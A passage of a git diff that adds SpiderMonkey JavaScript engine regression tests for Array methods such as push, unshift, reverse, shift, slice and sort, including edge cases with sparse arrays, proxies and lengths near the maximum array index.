+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451906;
+var summary = 'Index array by numeric string';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+ var s=[1,2,3];
+ actual = s['0'];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-456845.js b/js/src/tests/non262/Array/regress-456845.js
new file mode 100644
index 0000000000..7531ba17fd
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-456845.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456845;
+var summary = 'JIT: popArrs[a].pop is not a function';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ var chars = '0123456789abcdef';
+ var size = 1000;
+ var mult = 100;
+
+ var arr = [];
+ var lsize = size;
+ while (lsize--) { arr.push(chars); }
+
+ var popArrs = [];
+ for (var i=0; i<mult; i++) { popArrs.push(arr.slice()); }
+
+
+ for(var a=0;a<mult;a++) {
+ var x; while (x = popArrs[a].pop()) { }
+ }
+
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-465980-01.js b/js/src/tests/non262/Array/regress-465980-01.js
new file mode 100644
index 0000000000..c7d6dee29a
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-465980-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465980;
+var summary = 'Do not crash @ InitArrayElements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var a = new Array(4294967294);
+ a.push("foo", "bar");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-465980-02.js b/js/src/tests/non262/Array/regress-465980-02.js
new file mode 100644
index 0000000000..866ad02d8e
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-465980-02.js
@@ -0,0 +1,167 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465980;
+var summary = 'Do not crash @ InitArrayElements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function describe(name, startLength, pushArgs, expectThrow, expectLength)
+ {
+ return name + "(" + startLength + ", " +
+ "[" + pushArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")";
+ }
+
+ var push = Array.prototype.push;
+ var unshift = Array.prototype.unshift;
+
+ function testArrayPush(startLength, pushArgs, expectThrow, expectLength)
+ {
+ print("running testArrayPush(" +
+ startLength + ", " +
+ "[" + pushArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")...");
+ var a = new Array(startLength);
+ try
+ {
+ push.apply(a, pushArgs);
+ if (expectThrow)
+ {
+ throw "expected to throw for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ }
+ catch (e)
+ {
+ if (!(e instanceof RangeError))
+ {
+ throw "unexpected exception type thrown: " + e + " for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ if (!expectThrow)
+ {
+ throw "unexpected exception " + e + " for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ }
+
+ if (a.length !== expectLength)
+ {
+ throw "unexpected modified-array length for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+
+ for (var i = 0, sz = pushArgs.length; i < sz; i++)
+ {
+ var index = i + startLength;
+ if (a[index] !== pushArgs[i])
+ {
+ throw "unexpected value " + a[index] +
+ " at index " + index + " (" + i + ") during " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength) + ", expected " + pushArgs[i];
+ }
+ }
+ }
+
+ function testArrayUnshift(startLength, unshiftArgs, expectThrow, expectLength)
+ {
+ print("running testArrayUnshift(" +
+ startLength + ", " +
+ "[" + unshiftArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")...");
+ var a = new Array(startLength);
+ try
+ {
+ unshift.apply(a, unshiftArgs);
+ if (expectThrow)
+ {
+ throw "expected to throw for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+ catch (e)
+ {
+ if (!(e instanceof RangeError))
+ {
+ throw "unexpected exception type thrown: " + e + " for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ if (!expectThrow)
+ {
+ throw "unexpected exception " + e + " for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+
+ if (a.length !== expectLength)
+ {
+ throw "unexpected modified-array length for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+
+ for (var i = 0, sz = unshiftArgs.length; i < sz; i++)
+ {
+ if (a[i] !== unshiftArgs[i])
+ {
+ throw "unexpected value at index " + i + " during " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+ }
+
+ var failed = true;
+
+ try
+ {
+ var foo = "foo", bar = "bar", baz = "baz";
+
+ testArrayPush(4294967294, [foo], false, 4294967295);
+ testArrayPush(4294967294, [foo, bar], true, 4294967295);
+ testArrayPush(4294967294, [foo, bar, baz], true, 4294967295);
+ testArrayPush(4294967295, [foo], true, 4294967295);
+ testArrayPush(4294967295, [foo, bar], true, 4294967295);
+ testArrayPush(4294967295, [foo, bar, baz], true, 4294967295);
+
+ testArrayUnshift(4294967294, [foo], false, 4294967295);
+ testArrayUnshift(4294967294, [foo, bar], true, 4294967294);
+ testArrayUnshift(4294967294, [foo, bar, baz], true, 4294967294);
+ testArrayUnshift(4294967295, [foo], true, 4294967295);
+ testArrayUnshift(4294967295, [foo, bar], true, 4294967295);
+ testArrayUnshift(4294967295, [foo, bar, baz], true, 4294967295);
+
+ }
+ catch (e)
+ {
+ actual = e + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-474529.js b/js/src/tests/non262/Array/regress-474529.js
new file mode 100644
index 0000000000..d377a9a939
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-474529.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474529;
+var summary = 'Do not assert: _buf->_nextPage';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function main() {
+
+ function timeit(N, buildArrayString) {
+ return Function("N",
+ "var d1 = +new Date;" +
+ "while (N--) var x = " + buildArrayString +
+ "; return +new Date - d1")(N);
+ }
+
+ function reportResults(size, N, literalMs, newArrayMs, arrayMs) {
+ print(Array.prototype.join.call(arguments, "\t"));
+ }
+
+ var repetitions = [ 9000, 7000, 4000, 2000, 2000, 2000, 800, 800, 800, 300, 100, 100 ]
+ for (var zeros = "0, ", i = 0; i < repetitions.length; ++i) {
+ var N = repetitions[i];
+ reportResults((1 << i) + 1, N,
+ timeit(N, "[" + zeros + " 0 ]"),
+ timeit(N, "new Array(" + zeros + " 0)"),
+ timeit(N, "Array(" + zeros + " 0)"));
+ zeros += zeros;
+ }
+ }
+
+ gc();
+ print("Size\t\Rep.\t\Literal\tnew Arr\tArray()");
+ print("====\t=====\t=======\t=======\t=======");
+ main();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-488989.js b/js/src/tests/non262/Array/regress-488989.js
new file mode 100644
index 0000000000..2df0f72b83
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-488989.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 488989;
+var summary = 'Array.prototype.push for non-arrays near max-array-index limit';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 37);
+ stack.push(-2, -1, 0);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 5);
+ stack.push(-2, -1, 0);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 32) -2;
+ stack.push(-2, -1, 0);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-566651.js b/js/src/tests/non262/Array/regress-566651.js
new file mode 100644
index 0000000000..a05d0310a5
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-566651.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 566651;
+var summary = 'setting array.length to null should not throw an uncatchable exception';
+var actual = 0;
+var expect = 0;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [];
+a.length = null;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-599159.js b/js/src/tests/non262/Array/regress-599159.js
new file mode 100644
index 0000000000..bd8225b529
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-599159.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var b = Object.create(Array.prototype);
+b.length = 12;
+assertEq(b.length, 12);
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/Array/regress-619970.js b/js/src/tests/non262/Array/regress-619970.js
new file mode 100644
index 0000000000..6ec94fc3bb
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-619970.js
@@ -0,0 +1,8 @@
+function test() {
+ delete arguments[1];
+ return Array.prototype.join.call(arguments);
+}
+assertEq(test(1,2,3), "1,,3");
+Object.prototype[1] = "ponies!!!1";
+assertEq(test(1,2,3), "1,ponies!!!1,3");
+reportCompare(true,true);
diff --git a/js/src/tests/non262/Array/regress-94257.js b/js/src/tests/non262/Array/regress-94257.js
new file mode 100644
index 0000000000..23fff7bcf0
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-94257.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 30 October 2001
+ *
+ * SUMMARY: Regression test for bug 94257
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=94257
+ *
+ * Rhino used to crash on this code; specifically, on the line
+ *
+ * arr[1+1] += 2;
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 94257;
+var summary = "Making sure we don't crash on this code -";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = new Array(6);
+arr[1+1] = 1;
+arr[1+1] += 2;
+
+
+status = inSection(1);
+actual = arr[1+1];
+expect = 3;
+addThis();
+
+status = inSection(2);
+actual = arr[1+1+1];
+expect = undefined;
+addThis();
+
+status = inSection(3);
+actual = arr[1];
+expect = undefined;
+addThis();
+
+
+arr[1+2] = 'Hello';
+
+
+status = inSection(4);
+actual = arr[1+1+1];
+expect = 'Hello';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js b/js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js
new file mode 100644
index 0000000000..a9b1e80deb
--- /dev/null
+++ b/js/src/tests/non262/Array/reverse-order-of-low-high-accesses.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 858677;
+var summary =
+ "[].reverse should swap elements low to high using accesses to low " +
+ "elements, then accesses to high elements";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var observed = [];
+
+// (0, 7) hits the lowerExists/upperExists case.
+// (1, 6) hits the !lowerExists/upperExists case.
+// (2, 5) hits the lowerExists/!upperExists case.
+// (3, 4) hits the !lowerExists/!upperExists case.
+//
+// It'd be a good idea to have a second version of this test at some point
+// where the "array" being reversed is a proxy, to detect proper ordering of
+// getproperty, hasproperty, setproperty into a hole, and deleteproperty from a
+// non-configurable element. But at present our Array.prototype.reverse
+// implementation probably doesn't conform fully to all this (because our
+// internal MOP is still slightly off), so punt for now.
+var props =
+ {
+ 0: {
+ configurable: true,
+ get: function() { observed.push("index 0 get"); return "index 0 get"; },
+ set: function(v) { observed.push("index 0 set: " + v); }
+ },
+ /* 1: hole */
+ 2: {
+ configurable: true,
+ get: function() { observed.push("index 2 get"); return "index 2 get"; },
+ set: function(v) { observed.push("index 2 set: " + v); }
+ },
+ /* 3: hole */
+ /* 4: hole */
+ /* 5: hole */
+ 6: {
+ configurable: true,
+ get: function() { observed.push("index 6 get"); return "index 6 get"; },
+ set: function(v) { observed.push("index 6 set: " + v); }
+ },
+ 7: {
+ configurable: true,
+ get: function() { observed.push("index 7 get"); return "index 7 get"; },
+ set: function(v) { observed.push("index 7 set: " + v); }
+ },
+ };
+
+var arr = Object.defineProperties(new Array(8), props);
+
+arr.reverse();
+
+var expectedObserved =
+ ["index 0 get", "index 7 get", "index 0 set: index 7 get", "index 7 set: index 0 get",
+ "index 6 get",
+ "index 2 get"
+ /* nothing for 3/4 */];
+print(observed);
+// Do this before the assertions below futz even more with |observed|.
+assertEq(observed.length, expectedObserved.length);
+for (var i = 0; i < expectedObserved.length; i++)
+ assertEq(observed[i], expectedObserved[i]);
+
+assertEq(arr[0], "index 0 get"); // no deletion, setting doesn't overwrite
+assertEq(arr[1], "index 6 get"); // copies result of getter
+assertEq(2 in arr, false); // deleted
+assertEq(3 in arr, false); // never there
+assertEq(4 in arr, false); // never there
+assertEq(arr[5], "index 2 get"); // copies result of getter
+assertEq(6 in arr, false); // deleted
+assertEq(arr[7], "index 7 get"); // no deletion, setter doesn't overwrite
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js b/js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js
new file mode 100644
index 0000000000..1507e5ce00
--- /dev/null
+++ b/js/src/tests/non262/Array/set-with-indexed-property-on-prototype-chain.js
@@ -0,0 +1,60 @@
+function ensureSetterCalledOnce(fn, value, index) {
+ var setterCalled = false;
+ Object.defineProperty(Array.prototype, index, {
+ configurable: true,
+ set: function(v) {
+ assertEq(setterCalled, false);
+ setterCalled = true;
+ assertEq(v, value);
+ }
+ });
+
+ assertEq(setterCalled, false);
+ fn();
+ assertEq(setterCalled, true);
+
+ delete Array.prototype[index];
+}
+
+ensureSetterCalledOnce(function() {
+ [].push("push");
+}, "push", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "reverse"].reverse();
+}, "reverse", 0);
+
+ensureSetterCalledOnce(function() {
+ ["reverse", /* hole */,].reverse();
+}, "reverse", 1);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "shift"].shift();
+}, "shift", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "sort"].sort();
+}, "sort", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, undefined].sort();
+}, undefined, 0);
+
+ensureSetterCalledOnce(function() {
+ [].splice(0, 0, "splice");
+}, "splice", 0);
+
+ensureSetterCalledOnce(function() {
+ [/* hole */, "splice"].splice(0, 1);
+}, "splice", 0);
+
+ensureSetterCalledOnce(function(v) {
+ ["splice", /* hole */,].splice(0, 0, "item");
+}, "splice", 1);
+
+ensureSetterCalledOnce(function() {
+ [].unshift("unshift");
+}, "unshift", 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/shell.js b/js/src/tests/non262/Array/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Array/shell.js
diff --git a/js/src/tests/non262/Array/shift-no-has-trap.js b/js/src/tests/non262/Array/shift-no-has-trap.js
new file mode 100644
index 0000000000..e941ba7205
--- /dev/null
+++ b/js/src/tests/non262/Array/shift-no-has-trap.js
@@ -0,0 +1,64 @@
+// Test that Array.prototype.shift doesn't call the [[HasProperty]] internal
+// method of objects when retrieving the element at index 0.
+
+var log = [];
+var array = [];
+var proxy = new Proxy(array, new Proxy({}, {
+ get(t, trap, r) {
+ return (t, pk, ...more) => {
+ log.push(`${trap}:${String(pk)}`);
+ return Reflect[trap](t, pk, ...more);
+ };
+ }
+}));
+
+var result;
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, undefined);
+
+log.length = 0;
+array.push(1);
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0",
+ "deleteProperty:0",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 1);
+
+log.length = 0;
+array.push(2, 3);
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0",
+ "has:1", "get:1", "set:0", "getOwnPropertyDescriptor:0", "defineProperty:0",
+ "deleteProperty:1",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 2);
+
+log.length = 0;
+array.push(4, 5);
+
+result = Array.prototype.shift.call(proxy);
+assertEqArray(log, [
+ "get:length",
+ "get:0",
+ "has:1", "get:1", "set:0", "getOwnPropertyDescriptor:0", "defineProperty:0",
+ "has:2", "get:2", "set:1", "getOwnPropertyDescriptor:1", "defineProperty:1",
+ "deleteProperty:2",
+ "set:length", "getOwnPropertyDescriptor:length", "defineProperty:length"
+]);
+assertEq(result, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/shift_for_in.js b/js/src/tests/non262/Array/shift_for_in.js
new file mode 100644
index 0000000000..1bbf2d9c2d
--- /dev/null
+++ b/js/src/tests/non262/Array/shift_for_in.js
@@ -0,0 +1,13 @@
+var BUGNUMBER = 1247701;
+var summary = 'Array.prototype.shift on a dense array with holes should update for-in enumeration properties.';
+
+print(BUGNUMBER + ": " + summary);
+
+var x = ["a", , "b", , "c", "d" , "e", "f", "g"];
+for (var p in x) {
+ assertEq(p in x, true);
+ x.shift();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/slice-sparse-with-large-index.js b/js/src/tests/non262/Array/slice-sparse-with-large-index.js
new file mode 100644
index 0000000000..7fcf571e53
--- /dev/null
+++ b/js/src/tests/non262/Array/slice-sparse-with-large-index.js
@@ -0,0 +1,18 @@
+var array = [];
+array[2**31 - 2] = "INT32_MAX - 1";
+array[2**31 - 1] = "INT32_MAX";
+array[2**31 - 0] = "INT32_MAX + 1";
+array[2**32 - 2] = "UINT32_MAX - 1";
+array[2**32 - 1] = "UINT32_MAX";
+array[2**32 - 0] = "UINT32_MAX + 1";
+
+var copy = array.slice();
+assertEq(copy[2**31 - 2], "INT32_MAX - 1");
+assertEq(copy[2**31 - 1], "INT32_MAX");
+assertEq(copy[2**31 - 0], "INT32_MAX + 1");
+assertEq(copy[2**32 - 2], "UINT32_MAX - 1");
+assertEq(copy[2**32 - 1], undefined);
+assertEq(copy[2**32 - 0], undefined);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/sort-01.js b/js/src/tests/non262/Array/sort-01.js
new file mode 100644
index 0000000000..da90220aef
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-01.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604971;
+var summary = 'array.sort compare-function gets incorrect this';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+[1, 2, 3].sort(function() { "use strict"; assertEq(this, undefined); });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js b/js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js
new file mode 100644
index 0000000000..b77c6d3411
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-array-with-holes-and-undefined.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 664528;
+var summary =
+ "Sorting an array containing only holes and |undefined| should move all " +
+ "|undefined| to the start of the array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [, , , undefined];
+a.sort();
+
+assertEq(a.hasOwnProperty(0), true);
+assertEq(a[0], undefined);
+assertEq(a.hasOwnProperty(1), false);
+assertEq(a.hasOwnProperty(2), false);
+assertEq(a.hasOwnProperty(3), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/sort-delete-ascending-order.js b/js/src/tests/non262/Array/sort-delete-ascending-order.js
new file mode 100644
index 0000000000..99df536df7
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-delete-ascending-order.js
@@ -0,0 +1,37 @@
+// Calls Array.prototype.sort and tests that properties are deleted in the same order in the
+// native and the self-hosted implementation.
+
+function createProxy() {
+ var deleted = [];
+ var proxy = new Proxy([, , 0], {
+ deleteProperty(t, pk){
+ deleted.push(pk);
+ return delete t[pk];
+ }
+ });
+
+ return {proxy, deleted};
+}
+
+function compareFn(a, b) {
+ return a < b ? -1 : a > b ? 1 : 0;
+}
+
+// Sort an array without a comparator function. This calls the native sort implementation.
+
+var {proxy, deleted} = createProxy();
+
+assertEqArray(deleted, []);
+proxy.sort()
+assertEqArray(deleted, ["1", "2"]);
+
+// Now sort an array with a comparator function. This calls the self-hosted sort implementation.
+
+var {proxy, deleted} = createProxy();
+
+assertEqArray(deleted, []);
+proxy.sort(compareFn);
+assertEqArray(deleted, ["1", "2"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/sort-non-function.js b/js/src/tests/non262/Array/sort-non-function.js
new file mode 100644
index 0000000000..91e3045932
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-non-function.js
@@ -0,0 +1,22 @@
+// Array.prototype.sort throws if the comparator is neither undefined nor
+// a callable object.
+
+// Use a zero length array, so we can provide any kind of callable object
+// without worrying that the function is actually a valid comparator function.
+const array = new Array(0);
+
+// Throws if the comparator is neither undefined nor callable.
+for (let invalidComparator of [null, 0, true, Symbol(), {}, []]) {
+ assertThrowsInstanceOf(() => array.sort(invalidComparator), TypeError);
+}
+
+// Doesn't throw if the comparator is undefined or a callable object.
+for (let validComparator of [undefined, () => {}, Math.max, class {}, new Proxy(function(){}, {})]) {
+ array.sort(validComparator);
+}
+
+// Also doesn't throw if no comparator was provided at all.
+array.sort();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort-typedarray-with-own-length.js b/js/src/tests/non262/Array/sort-typedarray-with-own-length.js
new file mode 100644
index 0000000000..18e4ea5cd6
--- /dev/null
+++ b/js/src/tests/non262/Array/sort-typedarray-with-own-length.js
@@ -0,0 +1,33 @@
+function sortTypedArray(comparator) {
+ // Create a typed array with three elements, but also add an own "length"
+ // property with the value `2` to restrict the range of elements which
+ // will be sorted by Array.prototype.sort().
+ var ta = new Int8Array([3, 2, 1]);
+ Object.defineProperty(ta, "length", {value: 2});
+
+ // Sort with Array.prototype.sort(), not %TypedArray%.prototype.sort()!
+ Array.prototype.sort.call(ta, comparator);
+
+ return ta;
+}
+
+// Comparators using the form |return a - b| are special-cased in
+// Array.prototype.sort().
+function optimizedComparator(a, b) {
+ return a - b;
+}
+
+// This comparator doesn't compile to the byte code sequence which gets
+// special-cased in Array.prototype.sort().
+function nonOptimizedComparator(a, b) {
+ var d = a - b;
+ return d;
+}
+
+// Both comparators should produce the same result.
+assertEq(sortTypedArray(optimizedComparator).toString(), "2,3,1");
+assertEq(sortTypedArray(nonOptimizedComparator).toString(), "2,3,1");
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/sort_basics.js b/js/src/tests/non262/Array/sort_basics.js
new file mode 100644
index 0000000000..e3011e5c48
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_basics.js
@@ -0,0 +1,46 @@
+// Note: failed runs should include their "SEED" value in error messages,
+// setting "const SEED" to that value will recreate the data from any such run.
+const SEED = (Math.random() * 10) + 1;
+
+// Create an array filled with random values, 'size' is the desired length of
+// the array and 'seed' is an initial value supplied to a pseudo-random number
+// generator.
+function genRandomArray(size, seed) {
+ return Array.from(XorShiftGenerator(seed, size));
+}
+
+function SortTest(size, seed) {
+ let arrOne = genRandomArray(size, seed);
+ let arrTwo = Array.from(arrOne);
+ let arrThree = Array.from(arrOne);
+ let typedArrays = [
+ new Uint8Array(arrOne),
+ new Int32Array(arrOne),
+ new Float32Array(arrOne)
+ ];
+
+ let sorted = Array.from((Int32Array.from(arrOne)).sort());
+
+ // Test numeric comparators against typed array sort.
+ assertDeepEq(sorted, arrTwo.sort((x, y) => (x - y)),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Use multiplication to kill comparator optimization and trigger
+ // self-hosted sorting.
+ assertDeepEq(sorted, arrThree.sort((x, y) => (1*x - 1*y)),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Ensure that typed arrays are also sorted property.
+ for (typedArr of typedArrays) {
+ let sortedTypedArray = Array.prototype.sort.call(typedArr, (x, y) => (1*x - 1*y))
+ assertDeepEq(sorted, Array.from(sortedTypedArray),
+ `The array is not properly sorted! seed: ${SEED}`);
+ }
+}
+
+SortTest(2048, SEED);
+SortTest(16, SEED);
+SortTest(0, SEED);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/sort_holes.js b/js/src/tests/non262/Array/sort_holes.js
new file mode 100644
index 0000000000..7424bd8894
--- /dev/null
+++ b/js/src/tests/non262/Array/sort_holes.js
@@ -0,0 +1,66 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// We should preserve holes when sorting sparce arrays.
+// See bug: 1246860
+
+function denseCount(arr) {
+ var c = 0;
+ for (var i = 0; i < arr.length; i++)
+ if (i in arr)
+ c++;
+ return c;
+}
+
+let a = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}];
+let b = [,,,,,,,,,,,,,,,,,,,,{size: 1},{size: 2}].sort();
